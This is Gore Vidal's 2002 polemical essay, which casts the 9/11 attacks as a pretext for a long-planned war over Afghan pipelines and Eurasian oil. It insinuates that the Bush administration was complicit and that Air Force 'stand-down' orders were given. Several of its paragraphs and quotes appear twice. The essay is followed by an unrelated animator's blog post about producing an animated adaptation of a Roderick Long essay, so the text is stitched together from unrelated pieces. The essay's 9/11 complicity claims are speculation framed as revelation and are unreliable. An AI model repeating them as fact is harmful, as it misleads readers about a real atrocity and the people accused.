On 9 September 2001, Bush was presented with a draft of a national security presidential directive outlining a global campaign of military, diplomatic and intelligence action targeting al-Qaeda, buttressed by the threat of war. According to NBC News: `President Bush was expected to sign detailed plans for a worldwide war against al-Qaeda . . . but did not have the chance before the terrorist attacks . . . The directive, as described to NBC News, was essentially the same war plan as the one put into action after 11 September. The administration most likely was able to respond so quickly . . . because it simply had to pull the plans "off the shelf".'
Finally, BBC News, 18 September 2001: `Niak Naik, a former Pakistan foreign secretary, was told by senior American officials in mid-July that military action against Afghanistan would go ahead by the middle of October. It was Naik's view that Washington would not drop its war for Afghanistan even if bin Laden were to be surrendered immediately by the Taliban.'
Was Afghanistan then turned to rubble in order to avenge the 3,000 Americans slaughtered by Osama? Hardly. The administration is convinced that Americans are so simple-minded that they can deal with no scenario more complex than the venerable lone, crazed killer (this time with zombie helpers) who does evil just for the fun of it 'cause he hates us, 'cause we're rich 'n free 'n he's not. Osama was chosen on aesthetic grounds to be the most frightening logo for our long contemplated invasion and conquest of Afghanistan, planning for which had been `contingency' some years before 9/11 and, again, from 20 December, 2000, when Clinton's out-going team devised a plan to strike at al-Qaeda in retaliation for the assault on the warship Cole. Clinton's National Security Advisor, Sandy Berger, personally briefed his successor on the plan but Rice, still very much in her role as director of Chevron-Texaco, with special duties regarding Pakistan and Uzbekistan, now denies any such briefing. A year and a half later (12 August, 2002), fearless Time magazine reported this odd memory lapse.
We have only outdone the Romans in turning metaphors such as the war on terrorism, or poverty, or Aids into actual wars on targets we appear, often, to pick at random in order to maintain turbulence in foreign lands.
Osama, if it was he and not a nation, simply provided the necessary shock to put in train a war of conquest. But conquest of what? What is there in dismal dry sandy Afghanistan worth conquering? Zbigniew Brzezinski tells us exactly what in a 1997 Council on Foreign Relations study called The Grand Chessboard: American Primacy and its Geostrategic Imperatives. [6]
The Polish-born Brzezinski was the hawkish National Security Advisor to President Carter. In The Grand Chessboard, Brzezinski gives a little history lesson. `Ever since the continents started interacting politically, some 500 years ago, Eurasia has been the centre of world power.' Eurasia is all the territory east of Germany. This means Russia, the Middle East, China and parts of India. Brzezinski acknowledges that Russia and China, bordering oil-rich central Asia, are the two main powers threatening US hegemony in that area.
He takes it for granted that the US must exert control over the former Soviet republics of Central Asia, known to those who love them as `the Stans': Turkmenistan, Uzbekistan, Tajikstan and Kyrgyzstan all `of importance from the standpoint of security and historical ambitions to at least three of their most immediate and most powerful neighbours -- Russia, Turkey and Iran, with China signaling'. Brzezinski notes how the world's energy consumption keeps increasing; hence, who controls Caspian oil/gas will control the world economy. Brzezinski then, reflexively, goes into the standard American rationalization for empire. We want nothing, ever, for ourselves, only to keep bad people from getting good things with which to hurt good people. `It follows that America's primary interest is to help ensure that no single [other] power comes to control the geopolitical space and that the global community has unhindered financial and economic access to it.'
Brzezinski is quite aware that American leaders are wonderfully ignorant of history and geography so he really lays it on, stopping just short of invoking politically incorrect `manifest destiny'. He reminds the Council just how big Eurasia is. Seventy-five percent of the world's population is Eurasian. If I have done the sums right, that means that we've only got control, to date, of a mere 25 percent of the world's folks. More! `Eurasia accounts for 60-per cent of the world's GNP and three-fourths of the world's known energy resources.' Brzezinski's master plan for `our' globe has obviously been accepted by the Cheney-Bush junta. Corporate America, long over-excited by Eurasian mineral wealth, has been aboard from the beginning.
Ahmed sums up: `Brzezinski clearly envisaged that the establishment, consolidation and expansion of US military hegemony over Eurasia through Central Asia would require the unprecedented, open-ended militarisation of foreign policy, coupled with an unprecedented manufacture of domestic support and consensus on this militarisation campaign.'
Afghanistan is the gateway to all these riches. Will we fight to seize them? It should never be forgotten that the American people did not want to fight in either of the twentieth century's world wars, but President Wilson maneuvered us into the First while President Roosevelt maneuvered the Japanese into striking the first blow at Pearl Harbor, causing us to enter the Second as the result of a massive external attack. Brzezinski understands all this and, in 1997, he is thinking ahead -- as well as backward. `Moreover, as America becomes an increasingly multicultural society, it may find it more difficult to fashion a consensus on foreign policy issues, except in the circumstance of a truly massive and widely perceived direct external threat.' Thus was the symbolic gun produced that belched black smoke over Manhattan and the Pentagon.
Since the Iran-Iraq wars, Islam has been demonized as a Satanic terrorist cult that encourages suicide attacks -- contrary, it should be noted, to the Islamic religion. Osama has been portrayed, accurately, it would seem, as an Islamic zealot. In order to bring this evil-doer to justice (`dead or alive'), Afghanistan, the object of the exercise was made safe not only for democracy but for Union Oil of California whose proposed pipeline from Turkmenistan to Afghanistan to Pakistan and the Indian Ocean port of Karachi, had been abandoned under the Taliban's chaotic regime. Currently, the pipeline is a go-project thanks to the junta's installation of a Unocal employee (John J Maresca) as US envoy to the newly born democracy [7] whose president, Hamid Karzai, is also, according to Le Monde, a former employee of a Unocal subsidiary. Conspiracy? Coincidence!
Once Afghanistan looked to be within the fold, the junta, which had managed to pull off a complex diplomatic-military caper, -- abruptly replaced Osama, the personification of evil, with Saddam. This has been hard to explain since there is nothing to connect Iraq with 9/11. Happily, `evidence' is now being invented. But it is uphill work, not helped by stories in the press about the vast oil wealth of Iraq which must -- for the sake of the free world -- be reassigned to US and European consortiums.
As Brzezinski foretold, `a truly massive and widely perceived direct external threat' made it possible for the President to dance a war dance before Congress. `A long war!' he shouted with glee. Then he named an incoherent Axis of Evil to be fought. Although Congress did not give him the FDR Special -- a declaration of war -- he did get permission to go after Osama who may now be skulking in Iraq.
Bush and the dog that did not bark
Post-9/11, the American media were filled with pre-emptory denunciations of unpatriotic `conspiracy theorists', who not only are always with us but are usually easy for the media to discredit since it is an article of faith that there are no conspiracies in American life. Yet, a year or so ago, who would have thought that most of corporate America had been conspiring with accountants to cook their books since -- well, at least the bright days of Reagan and deregulation. Ironically, less than a year after the massive danger from without, we were confronted with an even greater enemy from within: Golden Calf capitalism. Transparency? One fears that greater transparency will only reveal armies of maggots at work beneath the skin of a culture that needs a bit of a lie-down in order to collect itself before taking its next giant step which is to conquer Eurasia, a potentially fatal adventure not only for our frazzled institutions but for us the presently living.
Complicity. The behavior of President George W. Bush on 11 September certainly gives rise to all sorts of not unnatural suspicions. I can think of no other modern chief of state who would continue to pose for `warm' pictures of himself listening to a young girl telling stories about her pet goat while hijacked planes were into three buildings.
Constitutionally, Bush is not only chief of state, he is commander-in-chief of the armed forces. Normally, a commander in such a crisis would go straight to headquarters and direct operations while receiving the latest intelligence.
This is what Bush actually did -- or did not do -- according to Stan Goff, a retired US Army veteran who has taught military science and doctrine at West Point. Goff writes, in `The So-called Evidence is a Farce' [8] : `I have no idea why people aren't asking some very specific questions about the actions of Bush and company on the day of the attacks. . . . Four planes get hijacked and deviate from their flight plan, all the while on FAA radar.'
Goff, incidentally, like the other astonished military experts, cannot fathom why the government's automatic `standard order of procedure in the event of a hijacking' was not followed. Once a plane has deviated from its flight-plan, fighter planes are sent up to find out why. That is law and does not require presidential approval, which only needs to be given if there is a decision to shoot down a plane. Goff spells it out: `The planes are all hijacked between 7:45 and 8:10am. . . . Who is notified? This is an event already that is unprecedented. But the President is not notified and going to a Florida elementary school to hear children read.'
`By around 8:15am it should be very apparent that something is terribly wrong. The President is glad-handling teachers. By 8:45am, when American Airlines Flight 11 crashes into the [North Tower], Bush is settling in with children for his photo ops . . . Four planes have obviously been hijacked simultaneously . . . and one has just dived into the . . . twin towers, and still no one notifies the nominal Commander-in-Chief. `No one has apparently scrambled [sent aloft] Air Force interceptors either. At 9:03, . . . Flight 175 crashes into the [South Tower]. At 9:05 Andrew Card, the . . . Chief of Staff whispers to . . . Bush [who] "briefly turns somber" according to reporters. Does he cancel the school visit and convene an emergency meeting? No. He resumes listening to second-graders . . . and continues the banality even as American Airlines Flight 77 conducts an unscheduled point turn over Ohio and heads in the direction of Washington DC. `Has he instructed Chief of Staff Card to scramble the Air Force? No. An excruciating 25 minutes later, he finally deigns to give a public statement telling the United States what they have already figured out; that there's been an attack by hijacked planes on the World Trade Center. There's a hijacked plane bee-lining to Washington, but has the Air Force been scrambled to defend anything yet? No. . . . `At 9:35, this plane conducts another turn, 360 degrees over the Pentagon, all the while being tracked by radar, and the Pentagon is not evacuated, and there are still no fast-movers from the Air Force in the sky over Alexandria and DC. Now, the real kicker: A pilot they want us to believe was trained at a Florida puddle-jumper school for Piper Cubs and Cessnas, conducts a well-controlled downward spiral, descending the last 7,000 feet in two-and-a-half minutes, brings the plane in so low and flat that it clips the electrical wires across the street from the Pentagon, and flies it with pinpoint accuracy into the side of the building at 460 nauts. `When the theory about learning to fly this well at the puddle-jumper school began to lose ground, it was added that they received further training on a flight simulator. This is like saying you prepared your teenager for her first drive on [the freeway] at rush hour by buying her a video driving game . . . There is a story being constructed about these events.'
There is indeed, and the more it is added to the darker it becomes. The nonchalance of General Richard B. Myers, acting Joint Chief of Staff, is as puzzling as the President's campaigning-as-usual act. Myers was at the Capitol chatting with Senator Max Cleland. A sergeant, writing later in the AFPS (American Forces Press Service) describes Myers at the Capitol. `While in an outer office, he said, he saw a television report that a plane had hit the World Trade Centre. "They thought it was a small plane or something like that," Myers said. So the two men went ahead with the office call.'
Whatever Myers and Cleland had to say to each other (more funds for the military?) must have been riveting because, during their chat, the AFPS reports, `the second tower was hit by another jet. "Nobody informed us of that," Myers said. "But when we came out, that was obvious. Then, right at that time, somebody said the Pentagon had been hit."' Finally, somebody `thrust a cellphone in Myers' hand' and, as if by magic, the commanding general of Norad -- our Airspace Command -- was on the line just as the hijackers mission had been successfully completed except for the failed one in Pennsylvania. In later testimony to the Senate Armed Forces Committee, Myers said he thinks that, as of his cellphone talk with Norad, `the decision was at that point to start launching aircraft'. It was 9:40am. One hour and 20 minutes after air controllers knew that Flight 11 had been hijacked; 50 minutes after the North Tower was struck.
This statement would have been quite enough in our old serious army/air force to launch a number of courts martial with an impeachment or two thrown in. First, Myers claims to be uninformed until the third strike. But the Pentagon had been overseeing the hijacked planes from at least the moment of the strike at the first tower: yet not until the third strike, at the Pentagon, was the decision made to get the fighter planes up. Finally, this one is the dog that did not bark. By law, the fighters should have been up at around 8:15. If they had, all the hijacked planes might have been diverted or shot down. I don't think that Goff is being unduly picky when he wonders who and what kept the Air Force from following its normal procedure instead of waiting an hour and 20 minutes until the damage was done and only then launching the fighters. Obviously, somebody had ordered the Air Force to make no move to intercept those hijackings until . . . what?
On 28 January 2002, the Canadian media analyst Barry Zwicker summed up on CBC-TV [9] : `That morning no interceptors responded in a timely fashion to the highest alert situation. This includes the Andrews squadrons which . . . are 12 miles from the White House . . . Whatever the explanation for the huge failure, there have been no reports, to my knowledge, of reprimands. This further weakens the "Incompetence Theory". Incompetence usually earns reprimands. This causes me to ask whether there were "stand down" orders.'?? On 29 August 2002, the BBC reports that on 9/11 there were `only four fighters on ready status in the north-eastern US'. Conspiracy? Coincidence? Error?
The media, never much good at analysis, are more and more breathless and incoherent. On CNN, even the stolid Jim Clancy started to hyperventilate when an Indian academic tried to explain how Iraq was once our ally and `friend' in its war against our Satanic enemy Iran. `None of that conspiracy stuff,' snuffed Clancy. Apparently, `conspiracy stuff' is now shorthand for unspeakable truth.
It is interesting how often in our history, when disaster strikes, incompetence is considered a better alibi than . . . well, yes, there are worse things. After Pearl Harbor, Congress moved to find out why Hawaii's two military commanders, General Short and Admiral Kimmel, had not anticipated the Japanese attack. But President Roosevelt pre-empted that investigation with one of his own. Short and Kimmel were broken for incompetence. The `truth' is still obscure to this day.
The media's weapons of mass distraction
But Pearl Harbor has been much studied. 11 September, it is plain, is never going to be investigated if Bush has anything to say about it. On 29 January 2002, CNN reported [10] that `Bush personally asked Senate Majority Leader Tom Daschle to limit the Congressional investigation into the events of 11 September . . . The request was made at a private meeting with Congressional leaders . . . Sources said Bush initiated the conversation . . . He asked that only the House and Senate intelligence committees look into the potential breakdowns among federal agencies that could have allowed the terrorist attacks to occur, rather than a broader inquiry . . . Tuesday's discussion followed a rare call from Vice President Dick Cheney last Friday to make the same request . . .'
The excuse given, according to Daschle, was that `resources and personnel would be taken' away from the war on terrorism in the event of a wider inquiry. So for reasons that we must never know, those `breakdowns' are to be the goat. That they were more likely to be not break -- but `stand-downs' is not for us to pry. Certainly the one-hour 20 minute failure to put fighter planes in the air could not have been due to a breakdown throughout the entire Air Force along the East Coast. Mandatory standard operational procedure had been told to cease and desist.
Meanwhile, the media were assigned their familiar task of inciting public opinion against bin Laden, still not the proven mastermind. These media blitzes often resemble the magicians classic gesture of distraction: as you watch the rippling bright colours of his silk handkerchief in one hand, he is planting the rabbit in your pocket with the other. We were quickly assured that Osama's enormous family with its enormous wealth had broken with him, as had the royal family of his native Saudi Arabia. The CIA swore, hand on heart, that Osama had not worked for them in the war against the Soviet occupation of Afghanistan. Finally, the rumour that Bush family had in any way profited by its long involvement with the bin Laden family was -- what else? -- simply partisan bad taste.
But Bush Jr's involvement goes back at least to 1979 when his first failed attempt to become a player in the big Texas oil league brought him together with one James Bath of Houston, a family friend, who have Bush Jr. $50,000 for a 5 per cent stake in Bush's firm Arbusto Energy. At this time, according to Wayne Madsen (In These Times -- Institute for Public Affairs No. 25 [11] ), Bath was `the sole US business representative for Salem bin Laden, head of the family and a brother (one of 17) to Osama bin Laden . . . In a statement issued shortly after the 11 September attacks, the White House vehemently denied the connection, insisting that Bath invested his own money, not Salem bin Laden's, in Arbusto. In conflicting statements, Bush at first denied ever knowing Bath, then acknowledged his stake in Arbusto and that he was aware Bath represented Saudi interests . . . after several reincarnations, Arbusto emerged in 1986 as Harken Energy Corporation.' [12]
Behind the Junior Bush is the senior Bush, gainfully employed by the Carlyle Group [13] which has ownership in at least 164 companies worldwide, inspiring admiration in that staunch friend to the wealthy, the Wall Street Journal, which noted, as early as 27 September 2001, `If the US boosts defence spending in its quest to stop Osama bin Laden's alleged terrorist activities, there may be one unexpected beneficiary: bin Laden's family . . . is an investor in a fund established by Carlyle Group, a well-connected Washington merchant bank specialising in buyouts of defence and aerospace companies . . . Osama is one of more than 50 children of Mohammed bin Laden, who built the family's $5 billion business.'
But Bush pere et fils, in pursuit of wealth and office, are beyond shame or, one cannot help but think, good sense. There is a suggestion that they are blocking investigation of the bin Laden connection with terrorism. Agent France Press reported on 4 November 2001 [14] : `FBI agents probing relatives of Saudi-born terror suspect Osama . . . were told to back off soon after George W. Bush became president . . .' According to BBC TV's Newsnight (6 Nov 2001) [15] , `. . . just days after the hijackers took off from Boston aiming for the Twin Towers, a special charter flight out of the same airport whisked 11 members of Osama's family off to Saudi Arabia. That did not concern the White House, whose official line is that the bin Ladens are above suspicion.' `Above the Law' (Green Press, 14 February 2002) [16] sums up: `We had what looked like the biggest failure of the intelligence community since Pearl Harbor but what we are learning now is it wasn't a failure, it was a directive.' True? False? Bush Jr will be under oath during the impeachment interrogation. Will we hear `What is a directive? What is is?'
Although the US had, for some years, fingered Osama as a mastermind terrorist, no serious attempt had been made pre-9/11 to `bring him to justice dead or alive, innocent or guilty', as Texan law of the jungle requires. Clinton's plan to act was given to Condeleezza Rice by Sandy Berger, you will recall, but she says she does not.
As far back as March 1996 when Osama was in Sudan, Major General Elfatih Erwa, Sudanese Minister for Defence, offered to extradite him. According to the Washington Post (3 October 2001), `Erwa said he would happily keep close watch on bin Laden for the United States. But if that would not suffice, the government was prepared to place him in custody and hand him over . . . [US officials] said, "just ask him to leave the country. Just don't let him go to Somalia", where he had once been given credit for the successful al-Qaeda attack on American forces that in '93 that killed 18 Rangers.' Erwa said in an interview, `We said he will go to Afghanistan, and they [US officials] said, "Let him."'
In 1996 Sudan expelled Osama and 3,000 of his associates. Two years later the Clinton administration, in the great American tradition of never having to say thank you for Sudan's offer to hand over Osama, proceeded to missile-attack Sudan's al-Shifa pharmaceutical factory on the grounds that Sudan was harboring bin Laden terrorists who were making chemical and biological weapons when the factory was simply making vaccines for the UN.
Four years later, John O'Neill, a much admired FBI agent, complained in the Irish Times [17] a month before the attacks, `The US State Department -- and behind it the oil lobby who make up President Bush's entourage -- blocked attempts to prove bin Laden's guilt. The US ambassador to Yemen forbade O'Neill (and his FBI team) . . . from entering Yemen in August 2001. O'Neill resigned in frustration and took on a new job as head of security at the World Trade Centre. He died in the 11 September attack.' Obviously, Osama has enjoyed bipartisan American support since his enlistment in the CIA's war to drive the Soviets out of Afghanistan. But by 9/11 there was no Soviet occupation of Afghanistan, indeed there was no Soviet Union.
A world made safe for peace and pipelines
I watched Bush and Cheney on CNN when the Axis of Evil speech was given and the `long war' proclaimed. Iraq, Iran and North Korea were fingered as enemies to be clobbered because they might or might not be harbouring terrorists who might or might not destroy us in the night. So we must strike first whenever it pleases us. Thus, we declared `war on terrorism' -- an abstract noun which cannot be a war at all as you need a country for that. Of course, there was innocent Afghanistan, which was levelled from a great height, but then what's collateral damage -- like an entire country -- when you're targeting the personification of all evil according to Time and the New York Times and the networks?
As it proved, the conquest of Afghanistan had nothing to do with Osama. He was simply a pretext for replacing the Taliban with a relatively stable government that would allow Union Oil of California to lay its pipeline for the profit of, among others, the Cheney-Bush junta.
Background? All right. The headquarters of Unocal are, as might be expected, in Texas. In December 1997, Taliban representatives were invited to Sugarland, Texas. [18] At that time, Unocal had already begun training Afghan men in pipeline construction, with US government approval. BBC News, (4 December 1997) [19] : `A spokesman for the company Unocal said the Taliban were expected to spend several days at the company's [Texas] headquarters . . . a BBC regional correspondent says the proposal to build a pipeline across Afghanistan is part of an international scramble to profit from developing the rich energy resources of the Caspian Sea.' The Inter Press Service (IPS) reported [20] : `some Western businesses are warming up to the Taliban despite the movement's institutionalisation of terror, massacres, abductions and impoverishment.' CNN (6 October 1996): `The United States wants good ties [with the Taliban] but can't openly seek them while women are being oppressed.'
The Taliban, rather better organised than rumoured, hired for PR one Leila Helms, a niece of Richard Helms, former director of the CIA. In October 1996, the Frankfurter Rundschau reported that Unocal `has been given the go-ahead from the new holders of power in Kabul to build a pipeline from Turkmenistan via Afghanistan to Pakistan . . .' This was a real coup for Unocal as well as other candidates for pipelines, including Condoleezza's old employer Chevron. Although the Taliban was already notorious for its imaginative crimes against the human race, the Wall Street Journal, scenting big bucks, fearlessly announced: `Like them or not, the Taliban are the players most capable of achieving peace in Afghanistan at this moment in history.' The New York Times (26 May 1997) leapt aboard the pipeline juggernaut. `The Clinton administration has taken the view that a Taliban victory would act as counterweight to Iran . . . and would offer the possibility of new trade routes that could weaken Russian and Iranian influence in the region.'
But by 1999, it was clear that the Taliban could not provide the security we would need to protect our fragile pipelines. The arrival of Osama as warrior for Allah on the scene refocused, as it were, the bidding. New alliances were now being made. The Bush administration soon buys the idea of an invasion of Afghanistan, Frederick Starr, head of the Central Asia Institute at Johns Hopkins University, wrote in the Washington Post (19 December 2000) [21] : `The US has quietly begun to align itself with those in the Russian government calling for military action against Afghanistan and has toyed with the idea of a new raid to wipe out Osama bin Laden.'
Although with much fanfare we went forth to wreak our vengeance on the crazed sadistic religious zealot who slaughtered 3,000 American citizens, once that `war' was under way, Osama was dropped as irrelevant [22] and so we are back to the Unocal pipeline, now a go-project. In the light of what we know today, it is unlikely that the junta was ever going to capture Osama alive: he has tales to tell. One of Defence Secretary Donald Rumsfeld's best numbers now is: `Where is he? Somewhere? Here? There? Somewhere? Who knows?' And we get his best twinkle. He must also be delighted -- and amazed -- that the media have bought the absurd story that Osama, if alive, would still be in Afghanistan, underground, waiting to be flushed out instead of in a comfortable mansion in Osama-loving Jakarta, 2,000 miles to the East and easily accessible by Flying Carpet One.
`Bin Laden does not have the capabilities for an operation of this magnitude. When I hear Bush talking about al-Qaeda as if it were Nazi Germany or the Communist Party of the Soviet Union, I laugh because I know what is there. Bin Laden has been under surveillance for years: every telephone call was monitored and al-Qaeda has been penetrated by US intelligence, Pakistani intelligence, Saudi intelligence, Egyptian intelligence. They could not have kept secret an operation that required such a degree of organisation and sophistication.' --Mohammed Heikal The Guardian, 10/10/01
Many commentators of a certain age have noted how Hitlerian our junta sounds as it threatens first one country for harbouring terrorists and then another. It is true that Hitler liked to pretend to be the injured -- or threatened -- party before he struck. But he had many great predecessors not least Imperial Rome. Stephen Gowan's War in Afghanistan: A $28 Billion Racket quotes Joseph Schumpeter who, `in 1919, described ancient Rome in a way that sounds eerily like the United States in 2001: "There was no corner of the known world where some interest was not alleged to be in danger or under actual attack. If the interests were not Roman, they were those of Rome's allies; and if Rome had no allies, the allies would be invented . . . The fight was always invested with an aura of legality. Rome was always being attacked by evil-minded neighbours."' We have only outdone the Romans in turning metaphors such as the war on terrorism, or poverty, or Aids into actual wars on targets we appear, often, to pick at random in order to maintain turbulence in foreign lands.
As of 1 August 2002, trial balloons were going up all over Washington DC to get world opinion used to the idea that `Bush of Afghanistan' had gained a title as mighty as his father's `Bush of the Persian Gulf' and Junior was now eager to add Iraq-Babylon to his diadem. These various balloons fell upon Europe and the Arab world like so many lead weights. But something new has been added since the classic Roman Hitlerian mantra, `they are threatening us, we must attack first'. Now everything is more of less out in the open.
The International Herald Tribune wrote in August 2002: `The leaks began in earnest on 5 July, when the New York Times described a tentative Pentagon plan that it said called for an invasion by a US force of up to 250,000 that would attack Iraq from the north, south and west.' On 10 July, the Times said that Jordan might be used as a base for the invasion. The Washington Post reported, 28 July, that "many senior US military officers contend that Saddam Hussein poses no immediate threat . . ."' And the status quo should be maintained. Incidentally, this is the sort of debate that the founding fathers intended the Congress, not military bureaucrats, to conduct in the name of we the people. But that sort of debate has, for a long time, been denied us.
One refreshing note is now being struck in a fashion unthinkable in imperial Rome: the cheerful admission that we habitually resort to provocation. The Tribune continues: `Donald Rumsfeld has threatened to jail any one found to have been behind the leaks. But a retired army general, Fred Woerner, tends to see a method behind the leaks. "We may already be executing a plan," he said recently. "Are we involved in a preliminary psychological dimension of causing Iraq to do something to justify a US attack or make concessions? Somebody knows."' That is plain.
Elsewhere in this interesting edition of the Herald Tribune wise William Pfaff writes [23] : `A second Washington debate is whether to make an unprovoked attack on Iran to destroy a nuclear power reactor being built with Russian assistance, under inspection by the International Atomic Energy Agency, within the terms of the Nuclear Non-proliferation Treaty of which Iran is a signatory . . . No other government would support such an action, other than Israel's (which) would do so not because it expected to be attacked by Iran but because it, not unjustifiably, opposes any nuclear capacity in the hands of any Islamic government.'
Suspect states and the tom-toms of revenge
`Of all the enemies to public liberty, war is, perhaps, the most to be dreaded because it compromises and develops the germ of every other. As the parent of armies, war encourages debts and taxes, the known instruments for bringing the many under the domination of the few. In war, too, the discretionary power of the executive is extended . . . and all the means of seducing the minds, are added to those of subduing the force, of the people . . .' Thus, James Madison warned us [24] at the dawn of our republic.
Post 9/11, thanks to the `domination of the few', Congress and the media are silent while the executive, through propaganda and skewed polls, seduces the public mind as hitherto unthinkable centers of power like Homeland Defence (a new Cabinet post to be placed on top of the Defence Department) are being constructed and 4 per cent of the country has recently been invited to join TIPS, a civilian spy system to report on anyone who looks suspicious or . . . who objects to what the executive is doing at home or abroad?
Although every nation knows how -- if it has the means and the will -- to protect itself from thugs of the sort that brought us 9/11, war is not an option. Wars are for nations not root-less gangs. You put a price on their heads and hunt them down. In recent years, Italy has been doing that with the Sicilian Mafia; and no one has yet suggested bombing Palermo.
But the Cheney-Bush junta wants a war in order to dominate Afghanistan, build a pipeline, gain control of the oil of Eurasia's Stans for their business associates as well as to do as much damage to Iraq and Iran on the grounds that one day those evil countries may carpet our fields of amber grain with anthrax or something.
The media, never much good at analysis, are more and more breathless and incoherent. On CNN, even the stolid Jim Clancy started to hyperventilate when an Indian academic tried to explain how Iraq was once our ally and `friend' in its war against our Satanic enemy Iran. [25] `None of that conspiracy stuff,' snuffed Clancy. Apparently, `conspiracy stuff' is now shorthand for unspeakable truth.
As of August, at least among economists, a consensus was growing that, considering our vast national debt (we borrow $2 billion a day to keep the government going) and a tax base seriously reduced by the junta in order to benefit the 1 per cent who own most of the national wealth, there is no way that we could ever find the billions needed to destroy Iraq in `a long war' or even a short one, with most of Europe lined up against us. Germany and Japan paid for the Gulf War, reluctantly -- with Japan, at the last moment, irritably quarrelling over the exchange rate at the time of the contract. Now Germany's Schroder has said no. Japan is mute.
But the tom-toms keep beating revenge; and the fact that most of the world is opposed to our war seems only to bring hectic roses to the cheeks of the Bush administration (Bush Snr of the Carlyle Group, [13] Bush Jnr formerly of Harken, [12] Cheney, formerly of Halliburton, [26] Rice, formerly of Chevron, [27] Rumsfeld, formerly of Occidental). If ever an administration should recuse itself in matters dealing with energy, it is the current junta. But this is unlike any administration in our history. Their hearts are plainly elsewhere, making money, far from our mock Roman temples, while we, alas, are left only with their heads, dreaming of war, preferably against weak peripheral states.
Mohammed Heikal is a brilliant Egyptian journalist-observer, and sometime Foreign Minister. On 10 October 2001, he said to the Guardian [28] : `Bin Laden does not have the capabilities for an operation of this magnitude. When I hear Bush talking about al-Qaeda as if it were Nazi Germany or the Communist Party of the Soviet Union, I laugh because I know what is there. Bin Laden has been under surveillance for years: every telephone call was monitored and al-Qaeda has been penetrated by US intelligence, Pakistani intelligence, Saudi intelligence, Egyptian intelligence. They could not have kept secret an operation that required such a degree of organisation and sophistication.'
The former president of Germany's domestic intelligence service, Eckehardt Werthebach (American Free Press, 4 December 2001 [29] ) spells it out. The 9/11 attacks required `years of planning' while their scale indicates that they were a product of `state-organised actions'. There it is. Perhaps, after all, Bush Jnr was right to call it a war. But which state attacked us?
Will the suspects please line up. Saudi Arabia? `No, no. Why we are paying you $50 million a year for training the royal bodyguard on our own holy if arid soil. True the kingdom contains many wealthy well-educated enemies but . . .' Bush Snr and Jnr exchange a knowing look. Egypt? No way. Dead broke despite US baksheesh. Syria? No funds. Iran? Too proud to bother with a parvenu state like the US. Israel? Sharon is capable of anything. But he lacks the guts and the grace of the true Kamikaze. Anyway, Sharon was not in charge when this operation began with the planting of `sleepers' around the US flight schools 5 or 6 years ago.
The United States? Elements of corporate America would undeniably prosper from a `massive external attack' that would make it possible for us to go to war whenever the President sees fit while suspending civil liberties. (The 342 pages of the USA Patriot Act [30] were plainly prepared before 9/11.) Bush Snr and Jnr are giggling now. Why? Because Clinton was president back then. As the former president leaves the line of suspects, he says, more in anger than in sorrow: `When we left the White House we had a plan for an all-out war on al-Qaeda. We turned it over to this administration and they did nothing. Why?' Biting his lip, he goes. The Bushes no longer giggle. Pakistan breaks down: `I did it! I confess! I couldn't help myself. Save me. I am an evil-doer!'
Apparently, Pakistan did do it -- or some of it. We must now go back to 1979 when `the largest covert operation in the history of the CIA' was launched in response to the Soviet invasion of Afghanistan. Central Asia specialist Ahmed Rashid wrote (Foreign Affairs, November-December 1999 [31] ): `With the active encouragement of the CIA and Pakistan's ISI (Inter Services Intelligence) who wanted to turn the Afghan jihad into a global war, waged by all Muslim states against the Soviet Union, some 35,000 Muslim radicals, from 40 Islamic countries joined Afghanistan's fight between 1982 and '92 . . . more than 100,000 foreign Muslim radicals were directly influenced by the Afghanistan jihad.' The CIA covertly trained and sponsored these warriors.
In March 1985, President Reagan issued National Security Decision Directive 166, increasing military aid while CIA specialists met with the ISI counterparts near Rawalpindi, Pakistan. Jane's Defence Weekly (14 September 2001) [32] gives the best overview: `The trainers were mainly from Pakistan's ISI agency who learnt their craft from American Green Beret commandos and Navy Seals in various US training establishments.' This explains the reluctance of the administration to explain why so many unqualified persons, over so long a time, got visas to visit our hospitable shores. While in Pakistan, `mass training of Afghan [zealots] was subsequently conducted by the Pakistan army under the supervision of the elite Special Services . . . In 1988, with US knowledge, bin Laden created al-Qaeda (The Base); a conglomerate of quasi-independent Islamic terrorist cells spread across 26 or so countries. Washington turned a blind eye to al-Qaeda.'
When Mohamed Atta's plane struck the World Trade Centre's North Tower, George W. Bush and the child at the Florida elementary school were discussing her goat. By coincidence, our word `tragedy' comes from the Greek: for `goat' tragos plus oide for `song'. `Goat-song'. It is highly suitable that this lament, sung in ancient satyr plays, should have been heard again at the exact moment when we were struck by fire from heaven, and a tragedy whose end is nowhere in sight began for us.
Copyright © Gore Vidal 2002
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Roderick T. Long’s essay, on which it’s based, tells a story very few know. I appreciate its challenge to the idea that government is the protector of the poor, guardian of their well-being. One of my motivations for making an animated adaptation of this narrative was that since making Edgar the Exploiter - in one respect a defence of the ‘greedy capitalist’ - I was looking forward to illustrating an example of how a historically greater measure of liberty enabled the working class to empower themselves and help one another.
Roderick kindly gave his blessing to the project by email before I began in earnest. I very much hope he enjoys the result.
Scroll down for a few remarks about the process of making it and what's next.
The team
My biggest thanks to my patient Patrons and to the Moving Picture Institute who jointly funded the project.
Working with @stephaniemurphy providing the narration (http://www.smvoice.info/) was great. We scheduled a Skype appointment for the recording day so that I could listen in remotely and give direction while she did the takes. While she was recording it became clear that there were some small problems in the script that (despite the many revisions) hadn’t been apparent before. Stephanie gave some great suggestions for fixes that made it into the final recording. Her personal knowledge about, and involvement with mutual aid was apt and helpful.
Matthew Zipkin provided music and sound effects. As ever his versatility and turnaround speed were so helpful.
Time tracking
Checking the creation date of the script document I can see it’s been in production for about one and a half years. Though much of that duration was part-time so it’s hard to say exactly how long it took.
That’s a problem for me. I know that my animation work always takes a tonne of time to complete, but it’d be really helpful if I knew exactly how much, so that I can plan smarter and stand a better chance of avoiding financial trouble. With a young kid to support this problem has gotten more urgent lately.
I’ve tried using traditional time tracking apps in the past but each of them required too much self-discipline and manual interaction for me to use any of them for long. Part way through HGSTHC I discovered using PaymoPlus, a kind of automated time tracking system that tracks the document titles and apps you’re using on your machine. You can set up regex rules on the document titles to automatically assign working time on certain document titles to certain projects. The data is being collected now and I’m happy about the prospect of being able to get a better handle on exactly how much time animation work is costing me in the future.
Lessons
Even without full time tracking data, I know that I spent a good deal longer on this project than the funding covered - entirely my fault. Lesson: the caution multiplier I used on my initial time estimate wasn’t high enough.
There were problems in the storyboard phase that I didn’t figure out a really solid solution to before moving on to design and animation. That’s a bad idea, ends up costing much more time and wrestling with sub-optimal visuals later on. Lesson: Fix the storyboard first, even when (especially when) it’s a struggle. On the subject of storyboards, there are a couple of very promising looking online tools in the works: http://www.theplot.io/ and https://boords.com/
